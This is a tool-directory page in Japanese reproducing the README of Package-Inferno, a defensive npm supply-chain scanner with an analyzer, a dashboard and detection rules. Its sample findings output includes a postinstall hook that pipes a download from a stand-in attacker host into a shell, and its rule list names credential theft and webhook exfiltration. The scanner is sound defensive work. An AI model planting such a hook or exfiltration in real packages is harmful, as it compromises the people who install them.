Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
Package-Inferno — コミュニティのための公開パッケージスキャナー | Kitploit
ツール/GitHubGitHub/mhaggis/package-inferno
静的分析脆弱性スキャナーコンテナセキュリティマルウェア分析クラウドセキュリティDevSecOpsシークレット検出脅威インテリジェンスサプライチェーンセキュリティ
GitHubmhaggis/package-inferno

Package-Inferno

コミュニティのための公開パッケージスキャナー

リポジトリを見る
13357ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

PackageInferno

PackageInferno Logo

驚くほどシンプルなDockerファーストのnpmサプライチェーンスキャナー。1つのcomposeファイルで以下が実行されます:

  • Enumerator → パッケージのキューを構築
  • Fetcher → tarballをダウンロード(オプションでS3へアップロード)
  • Analyzer → 静的解析 + オプションのYARA
  • Postgres → 検出結果を保存するローカルDB
  • Streamlit Dashboard → http://localhost:8501 で検出結果を可視化

これはコンテナ専用エディションです。このプロジェクトはEC2、SQS、RDSを使用してスケールするように構築できます。ツールセットにはそのための設定のほとんどが含まれています。


得られるもの

  • Docker内でのエンドツーエンドパイプライン(Docker以外のホストインストールは不要)
  • scan.yml による設定可能なルール(許可リスト、しきい値、YARA)
  • ローカルPostgresスキーマ + スキャン履歴(scan_runs)がすぐに使える
  • tarballと検出結果のオプションのS3アップロード(認証情報は ~/.aws を使用)
  • Streamlitダッシュボード: 検索、ドリルダウン、分析

目次

  • docker-compose.yml – サービス: db、enumerator、fetcher、analyzer、dashboard、init-db
  • – NDJSONキューを構築するNodeワーカー
enumerator/
  • fetcher/ – tarballをダウンロードするNodeワーカー(有効な場合はS3へアップロード)
  • analyzer/ – Python静的アナライザー(オプションのインラインYARA付き)
  • dashboard/ – Streamlitアプリ(ポート8501)
  • infra/migrations.sql – コアDBスキーマ(packages、versions、findings、scores、indexes)
  • infra/20251106_scan_runs.sql – スキャン履歴テーブル
  • scan.yml – 解析設定(rules、scoring、allowlists、YARA)
  • scripts/run_pipeline.sh – enumerate → fetch → analyze を実行
  • scripts/init_db.sh – DBスキーマを初期化
  • scripts/test_setup.sh – セットアップの自動検証
  • SCANNING_GUIDE.md – 詳細なスキャン戦略と例

  • クイックスタート(ローカル)

    前提条件: Compose v2 を備えた Docker Desktop(またはエンジン)。

    ワンラインインストール

    root@kitploit:~
    curl -fsSL https://raw.githubusercontent.com/MHaggis/Package-Inferno/main/install.sh | bash
    

    リポジトリを ~/package-inferno にクローンし、開始するための手順を表示します。

    オプションA: ビルド済みイメージを使用(最速)

    GitHub Container Registryからビルド済みコンテナをプルして実行します:

    root@kitploit:~
    # Clone the repo (for config files and scripts)
    git clone https://github.com/MHaggis/Package-Inferno.git
    cd Package-Inferno
    
    # Run with pre-built images
    docker compose -f docker-compose.ghcr.yml up -d db
    ./scripts/init_db.sh
    SEEDS="lodash,express" docker compose -f docker-compose.ghcr.yml run --rm enumerator
    docker compose -f docker-compose.ghcr.yml run --rm fetcher
    docker compose -f docker-compose.ghcr.yml run --rm analyzer
    

    利用可能なイメージ:

    • ghcr.io/mhaggis/package-inferno/enumerator:main
    • ghcr.io/mhaggis/package-inferno/fetcher:main
    • ghcr.io/mhaggis/package-inferno/analyzer:main

    オプションB: ソースからビルド

    セットアップの自動検証

    インストールを検証するためにテストスクリプトを実行します:

    root@kitploit:~
    ./scripts/test_setup.sh
    

    これにより:

    • ✓ Docker と Docker Compose をチェック
    • ✓ データベースを起動して初期化
    • ✓ テストスキャンを実行(2パッケージ)
    • ✓ 検出結果が正しく保存されていることを確認

    手動セットアップ

    1. Postgresを起動し、スキーマを初期化:
    root@kitploit:~
    docker compose up -d db
    ./scripts/init_db.sh
    
    1. パイプラインを実行:
    root@kitploit:~
    ./scripts/run_pipeline.sh
    
    1. ダッシュボードを起動:
    root@kitploit:~
    docker compose up -d dashboard
    # open http://localhost:8501
    

    DBが有効な場合、検出結果は ./out/findings/*.findings.json と findings テーブルに保存されます。


    スキャンモード

    PackageInfernoは、目的に応じて複数のスキャン戦略をサポートしています:

    モードユースケース速度カバレッジコマンド
    特定シード既知パッケージのテスト/調査最速対象を絞るSEEDS="pkg1,pkg2"
    小規模バッチセットアップの検証、サンプルスキャン高速10〜100パッケージMAX_CHUNKS=2 CHUNK_LIMIT=10
    全レジストリ包括的なサプライチェーン監査数時間〜数日200万+パッケージMAX_CHUNKS=0 CHUNK_LIMIT=100
    変更フィード新規リリースの監視(自動的に含まれる)リアルタイム最近の更新組み込み

    1. 特定パッケージのスキャン(テスト推奨)

    解析したい特定パッケージを対象にします:

    root@kitploit:~
    # Single command with seeds
    export SEEDS="lodash,express,axios"
    ./scripts/run_pipeline.sh
    
    # Or from a file
    echo -e "react\nvue\nangular" > packages.txt
    export SEEDS_FILE=packages.txt
    ./scripts/run_pipeline.sh
    

    最初にテストした方法: クイック検証には SEEDS="is-odd,is-even" を使用しました。

    2. npmレジストリからのスキャン(_all_docs)

    npmレジストリからページング処理でパッケージをスキャンします:

    root@kitploit:~
    # Clean previous runs
    rm -rf downloads/* out/*
    
    # Scan 2 pages of 10 packages each (20 packages)
    export MAX_CHUNKS=2        # Number of pages
    export CHUNK_LIMIT=10      # Packages per page
    unset SEEDS                # Important: disable seeds mode
    
    # Run individual steps for better visibility
    docker compose run --rm enumerator  # Discovers and queues
    docker compose run --rm fetcher     # Downloads tarballs
    docker compose run --rm analyzer    # Scans for threats
    

    出力例:

    root@kitploit:~
    config: chunkLimit=10, maxChunks=2
    checking recent changes feed...
    changes feed: enqueued 2 new versions
    enumerating via _all_docs (fresh scan)
    page 1/2 count: 10
    page 2/2 count: 10
    done, enqueued 22 (22 new versions)
    

    3. 継続的監視(無制限スキャン)

    npmレジストリ全体をスキャンします:

    root@kitploit:~
    export MAX_CHUNKS=0        # 0 = unbounded
    export CHUNK_LIMIT=100     # Larger batches for efficiency
    ./scripts/run_pipeline.sh
    

    警告: これは数時間から数日間実行され、数十万のパッケージをスキャンします。ディスク容量とデータベースサイズを監視してください。

    4. 中断されたスキャンの再開

    Enumerator はカーソル位置を ./out/enumerator_state.json に保存します:

    root@kitploit:~
    {
      "last_seq": "0",
      "last_startkey": "package-name",
      "last_run": "2025-11-23T19:24:49.123Z",
      "last_processed": 22,
      "last_new": 22
    }
    

    パイプラインを再実行するだけで、最後のカーソルから再開されます:

    root@kitploit:~
    ./scripts/run_pipeline.sh  # Automatically resumes
    

    新しいスキャンを強制するには:

    root@kitploit:~
    rm -f out/enumerator_state.json
    ./scripts/run_pipeline.sh
    

    スキャン結果の例

    22パッケージの2ページスキャンで、PackageInfernoが検出したものは次のとおりです:

    root@kitploit:~
    -- Top suspicious packages by score
    SELECT p.name, s.score, s.label, COUNT(f.id) as findings 
    FROM packages p 
    JOIN versions v ON p.id = v.package_id 
    JOIN scores s ON v.id = s.version_id 
    LEFT JOIN findings f ON v.id = f.version_id 
    GROUP BY p.name, s.score, s.label 
    ORDER BY s.score DESC;
    
    -- Results:
       name                | score | label      | findings
    -----------------------+-------+------------+----------
     rendition             | 606   | malicious  | 153
     vs-deploy             | 454   | malicious  | 119
     --123hoodmane-pyodide | 213   | malicious  | 46
    

    rendition がこれほど疑わしい理由:

    • 57 × url_outside_allowlist - 許可リスト外のドメイン
    • 46 × suspicious_pattern - シェル/evalパターン
    • 12 × advanced_obfuscation - 16進エンコード、XOR、文字列配列
    • 6 × big_base64_blob - 大きなエンコードペイロード
    • 18 × url_in_code - 埋め込みURL

    スコアリングシステム(scan.yml で設定)はこれらの検出結果を集計して、リスクスコアとラベル(clean、suspicious、または malicious)を生成します。


    結果の確認

    ダッシュボード経由(推奨)

    docker compose up -d dashboard 実行後、 http://localhost:8501 を開きます

    機能:

    • 📊 概要タブ: サマリー統計、スコア分布チャート
    • 🔍 検索タブ: パッケージ名で検索、リスクラベルでフィルタ
    • ⚠️ 高リスクタブ: ドリルダウン可能な上位の悪意のあるパッケージ
    • 🎯 C2分析: 既知の外部送信(exfiltration)エンドポイントを持つパッケージ
    • 📈 分析タブ: トレンド、一般的なルール、時間的分析

    データベースクエリ経由

    カスタム分析のための直接SQLアクセス:

    root@kitploit:~
    # Connect to database
    docker exec -it pi-postgres psql -U piuser -d packageinferno
    

    便利なクエリ:

    root@kitploit:~
    -- Packages with credential theft attempts
    SELECT DISTINCT p.name, v.version, s.score
    FROM packages p
    JOIN versions v ON p.id = v.package_id
    JOIN findings f ON v.id = f.version_id
    JOIN scores s ON v.id = s.version_id
    WHERE f.rule = 'env_snoop'
    ORDER BY s.score DESC;
    
    -- All C2/webhook destinations found
    SELECT p.name, f.details->>'endpoints' as c2_endpoints
    FROM packages p
    JOIN versions v ON p.id = v.package_id
    JOIN findings f ON v.id = f.version_id
    WHERE f.rule = 'c2_webhook';
    
    -- Typosquatting attempts
    SELECT 
      p.name,
      f.details->>'target_package' as impersonating,
      f.details->>'similarity' as similarity_pct,
      f.details->>'typosquat_type' as attack_type
    FROM packages p
    JOIN versions v ON p.id = v.package_id
    JOIN findings f ON v.id = f.version_id
    WHERE f.rule = 'typosquat_detected'
    ORDER BY (f.details->>'similarity')::float DESC;
    
    -- Packages with native binaries
    SELECT p.name, f.details->>'path' as binary_path
    FROM packages p
    JOIN versions v ON p.id = v.package_id
    JOIN findings f ON v.id = f.version_id
    WHERE f.rule = 'native_binary_present';
    

    JSONファイル経由

    検出結果は ./out/findings/ 配下に構造化JSONとしても保存されます:

    root@kitploit:~
    # View findings for a specific package
    cat out/findings/[email protected] | jq .
    
    # Count findings by severity
    jq -r '.findings[].severity' out/findings/*.findings.json | sort | uniq -c
    
    # Extract all C2 URLs found
    jq -r '.findings[] | select(.rule=="c2_webhook") | .details.full_urls[]' out/findings/*.findings.json
    

    オプション: S3統合(tarball + 検出結果)

    S3に成果物を置きたい場合:

    • バケットを作成します(名前は自由に選択):
      • package-inferno-tarballs(生のnpm tarball)
      • package-inferno-findings(アナライザーの出力)
    • ~/.aws に有効な認証情報が含まれていることを確認します(プロファイルまたは環境ベース)。
    • パイプライン実行前に環境変数をエクスポートします:
    root@kitploit:~
    export AWS_REGION=us-west-2
    export S3_TARBALLS=package-inferno-tarballs
    export S3_FINDINGS=package-inferno-findings
    export AWS_PROFILE=default   # optional; or rely on env creds
    

    composeは ~/.aws をfetcherとanalyzerにマウントします。LOCAL_ONLY=false の場合、fetcherはtarballを S3_TARBALLS にアップロードします。S3_FINDINGS が設定されている場合、analyzerはローカルに書き込んだ後、検出結果JSONをアップロードします。

    使用しているユーザー/ロールにアタッチする最小IAMポリシー例:

    root@kitploit:~
    {
      "Version": "2012-10-17",
      "Statement": [
        {
          "Sid": "S3Access",
          "Effect": "Allow",
          "Action": ["s3:PutObject","s3:GetObject","s3:ListBucket"],
          "Resource": [
            "arn:aws:s3:::package-inferno-tarballs",
            "arn:aws:s3:::package-inferno-tarballs/*",
            "arn:aws:s3:::package-inferno-findings",
            "arn:aws:s3:::package-inferno-findings/*"
          ]
        }
      ]
    }
    

    設定

    主要な設定項目は scan.yml にあります。主なハイライト:

    • analysis.allow_domains – 「外部許可リスト」違反を出さないドメイン
    • analysis.allowlist.build_tools – 良性のビルド手順の正規表現
    • analysis.yara.* – インラインYARAの有効化(デフォルトはオン)、ルールパス、サイズ/時間制限
    • scoring.rule_weights と scoring.thresholds – 「suspicious/malicious」の調整

    設定できるコンテナ環境変数:

    • Enumerator:
      • DAYS(デフォルト30)、CHUNK_LIMIT(デフォルト100)、MAX_CHUNKS(デフォルト5)
      • SEEDS、SEEDS_FILE – シードパッケージ名
      • LOCAL_ONLY=true(キューをファイルに出力)、DB_URL(DBに対する重複排除用)
    • Fetcher:
      • LOCAL_ONLY=false でtarballをS3にアップロード
      • S3_TARBALLS、AWS_REGION、AWS_PROFILE
    • Analyzer:
      • MAX_EXTRACT_BYTES=0 で無制限に抽出
      • S3_FINDINGS、AWS_REGION
      • DB_URL で検出結果とスコアをPostgresに書き込み

    DB URLはローカルcompose用に事前設定されています:

    root@kitploit:~
    postgres://piuser:pipass@db:5432/packageinferno
    

    仕組み(フロー)

    1. Enumerator がnpmレジストリにアクセスし、NDJSONキューを ./out/fetch_queue.ndjson に書き込みます(「queued」バージョンをDBにupsertすることも可能)。
    2. Fetcher がキューを読み取り、tarballを ./downloads にダウンロードし、設定されていればS3にアップロードします。
    3. Analyzer がヒューリスティック+オプションのYARAでtarballをスキャンし、構造化された検出結果JSONを ./out/findings に書き込みます。DBが設定されている場合は、検出結果とスコアをupsertします。
    4. Dashboard がローカルDBにクエリして統計を可視化し、パッケージを検索して詳細にドリルダウンします。

    コンポーネント詳細

    Enumerator (enumerator/src/enumerator.js)

    目的: スキャンするnpmパッケージを検出し、作業キューを構築します。

    処理内容:

    • npmのレジストリとレプリケーションフィードからパッケージメタデータを取得
    • 複数のモードをサポート:
      • シードモード: SEEDS 環境変数または SEEDS_FILE を使用して特定のパッケージをスキャン
      • 変更フィード: _changes エンドポイントを監視して最近の更新を検知
      • フルスキャン: _all_docs エンドポイントをページング処理(カーソル再開可能)
    • 分析済みバージョンの再スキャンを避けるためDBと重複排除
    • NDJSONキューを ./out/fetch_queue.ndjson またはSQSに出力

    主要な環境変数:

    • SEEDS="pkg1,pkg2" - スキャンするパッケージ名のカンマ区切りリスト
    • SEEDS_FILE - 1行に1パッケージを記載したテキストファイルのパス
    • MAX_CHUNKS=5 - ページングの制限(0 = 無制限)
    • CHUNK_LIMIT=100 - APIページあたりのパッケージ数
    • DB_URL - 重複排除用のPostgres接続

    使用例:

    root@kitploit:~
    # Scan specific packages
    export SEEDS="lodash,express,axios"
    docker compose run --rm enumerator
    
    # Scan from file
    echo -e "react\nvue\nangular" > packages.txt
    export SEEDS_FILE=packages.txt
    docker compose run --rm enumerator
    

    Fetcher (fetcher/src/fetcher.js)

    目的: レジストリからnpm tarballをダウンロードします。

    処理内容:

    • ./out/fetch_queue.ndjson(またはSQS)からキューを読み取る
    • リトライロジックとバックオフ付きでtarballをダウンロード
    • SHA1チェックサムを検証(不一致は警告)
    • ./downloads/ に [email protected] として保存
    • オプションでS3バケット(S3_TARBALLS)にアップロード
    • 完了したジョブをアナライザーキューに転送(SQSモード)

    主要な環境変数:

    • LOCAL_ONLY=true - S3アップロードをスキップ(ローカル専用モード)
    • S3_TARBALLS - tarball保存用のS3バケット名
    • DOWNLOAD_DIR=./downloads - ローカル出力ディレクトリ
    • MAX_RETRIES=5 - HTTPリトライ回数

    S3キー形式: npm-raw-tarballs/{name}/{version}.tgz


    Analyzer (analyzer/src/analyzer.py)

    目的: パッケージ内の悪意のあるパターンを検出する静的解析エンジンです。

    処理内容:

    • 安全チェック(パストラバーサル、サイズ制限)付きでtarballを展開
    • メタデータとライフサイクルフックを package.json から解析
    • すべてのファイルを不審なパターンについてスキャン:
      • ライフサイクルフック: シェルの起動、インストールスクリプト内のダウンローダー
      • ネットワーク活動: HTTPクライアント、C2ウェブフック(Discord、Telegramなど)
      • 難読化: 高エントロピー、base64ブロブ、16進エンコード、XOR
      • 認証情報の窃取: 環境変数へのアクセス、機密パスへのファイルシステム書き込み
      • タイポスクワッティング: レーベンシュタイン距離 + Unicode置換チェック
      • フィッシング: 偽CAPTCHA、認証情報フォーム、iframe埋め込み
      • バイナリ: ネイティブ実行ファイル、WASM、プリビルドフェッチャー
    • 有効な場合、YARAルール(YARA-Forgeからダウンロード)を実行
    • scan.yml の重み付きルールを使用して検出結果をスコアリング
    • 構造化JSONを ./out/findings/ に書き込み、DBにupsert

    検出ルール(完全なリストは analyzer/src/analyzer.py を参照):

    • lifecycle_script - リスクのあるinstall/postinstallフック
    • url_outside_allowlist - 許可されていないドメインへのネットワーク呼び出し
    • c2_webhook - 既知の外部送信(exfiltration)エンドポイント(Discord、Slack、Telegram)
    • env_snoop - AWSキー、トークン、パスワードへのアクセス
    • writes_outside_pkg - .ssh、.npmrc、システムディレクトリへのファイルシステム書き込み
    • typosquat_detected - 人気パッケージに類似したパッケージ名
    • advanced_obfuscation - 16進、XOR、文字列配列、制御フロー平坦化
    • yara_match - YARAルールのヒット(マルウェア、エクスプロイト、ウェブシェル)
    • phishing_form - 認証情報を収集するフォーム
    • native_binary_present - PE/ELF/Mach-O実行ファイル

    主要な環境変数:

    • MAX_EXTRACT_BYTES=0 - 展開サイズ制限(0 = 無制限)
    • SCAN_YML=/app/scan.yml - 設定ファイルのパス
    • DB_URL - 検出結果保存用のPostgres接続
    • S3_FINDINGS - 検出結果アップロード用のS3バケット

    出力形式 (*.findings.json):

    root@kitploit:~
    {
      "tgz": "/downloads/[email protected]",
      "findings": [
        {
          "rule": "lifecycle_script",
          "severity": "high",
          "details": {
            "key": "postinstall",
            "value": "curl https://evil.com | sh",
            "tags": ["shell_spawn", "downloader"],
            "explanation": "High-risk postinstall hook: shell_spawn, downloader"
          }
        }
      ]
    }
    

    アナライザーのカスタマイズ

    新しい検出ルールの追加

    1. パターンベースの検出(analyzer/src/analyzer.py に追加):

    root@kitploit:~
    # Define regex pattern
    CUSTOM_PATTERN_RE = re.compile(rb'dangerous-function\s*\(', re.I)
    
    # Add to analyze_file_bytes() function
    def analyze_file_bytes(path: Path, b: bytes, allow_domains: list[str]):
        # ... existing code ...
        
        # Your custom check
        if CUSTOM_PATTERN_RE.search(b):
            out.append({
                'rule': 'custom_dangerous_function',
                'severity': 'high',
                'details': {
                    'path': str(path),
                    'explanation': 'Detected dangerous-function call'
                }
            })
        
        return out
    

    2. スコアリングの重みを追加(scan.yml):

    root@kitploit:~
    scoring:
      rule_weights:
        custom_dangerous_function: 6  # Your new rule
        # ... existing rules ...
      thresholds:
        suspicious: 7
        malicious: 12
    

    3. スコアリング関数を更新(analyzer/src/analyzer.py):

    root@kitploit:~
    def score_findings(findings, scoring):
        weights = scoring.get('rule_weights', {})
        score = 0
        for f in findings:
            rule = f['rule']
            w = 0
            # ... existing rules ...
            elif rule == 'custom_dangerous_function':
                w = weights.get('custom_dangerous_function', 6)
            score += int(w)
        # ... rest of function ...
    

    カスタムYARAルールの追加

    1. カスタムルールファイルを作成(yara-rules/custom.yar):

    root@kitploit:~
    rule CustomMalware {
        meta:
            description = "Detects custom threat pattern"
            severity = "high"
        strings:
            $s1 = "malicious_string" ascii
            $s2 = /evil_regex_[0-9]{4}/
        condition:
            any of them
    }
    

    2. scan.yml を更新:

    root@kitploit:~
    analysis:
      yara:
        enabled: true
        rules_path: yara-rules/custom.yar  # Point to your rules
        max_file_size_mb: 10
        timeout_seconds: 30
    

    3. docker-compose.yml でカスタムルールをマウント:

    root@kitploit:~
    analyzer:
      volumes:
        - ./yara-rules:/app/yara-rules:ro
    

    ドメイン許可リスト

    誤検知を減らすために信頼できるドメインを scan.yml に追加します:

    root@kitploit:~
    analysis:
      allow_domains:
        - registry.npmjs.org
        - github.com
        - your-cdn.com  # Add your domain
    

    良性のビルドツール

    正当なビルドコマンドを許可リストに追加:

    root@kitploit:~
    analysis:
      allowlist:
        build_tools:
          - \bmy-custom-build-tool\b
          - \bmake\s+clean\b
    

    トラブルシューティング

    • 「Database connection failed」: docker compose up -d db が実行されていることを確認し、./scripts/init_db.sh を再実行します。
    • S3へのプッシュ時に「AccessDenied」: ~/.aws/credentials、AWS_REGION、バケットポリシー/権限を確認します。
    • YARAタイムアウト: scan.yml でファイルサイズ制限を下げるか、インラインYARAを無効にします(analysis.yara.enabled: false)。
    • npmからのレート制限: パイプラインはバックオフ付きでリトライし、UAを設定します。CHUNK_LIMIT を下げるか、MAX_CHUNKS を段階的に増やすことができます。
    ツールをダウンロード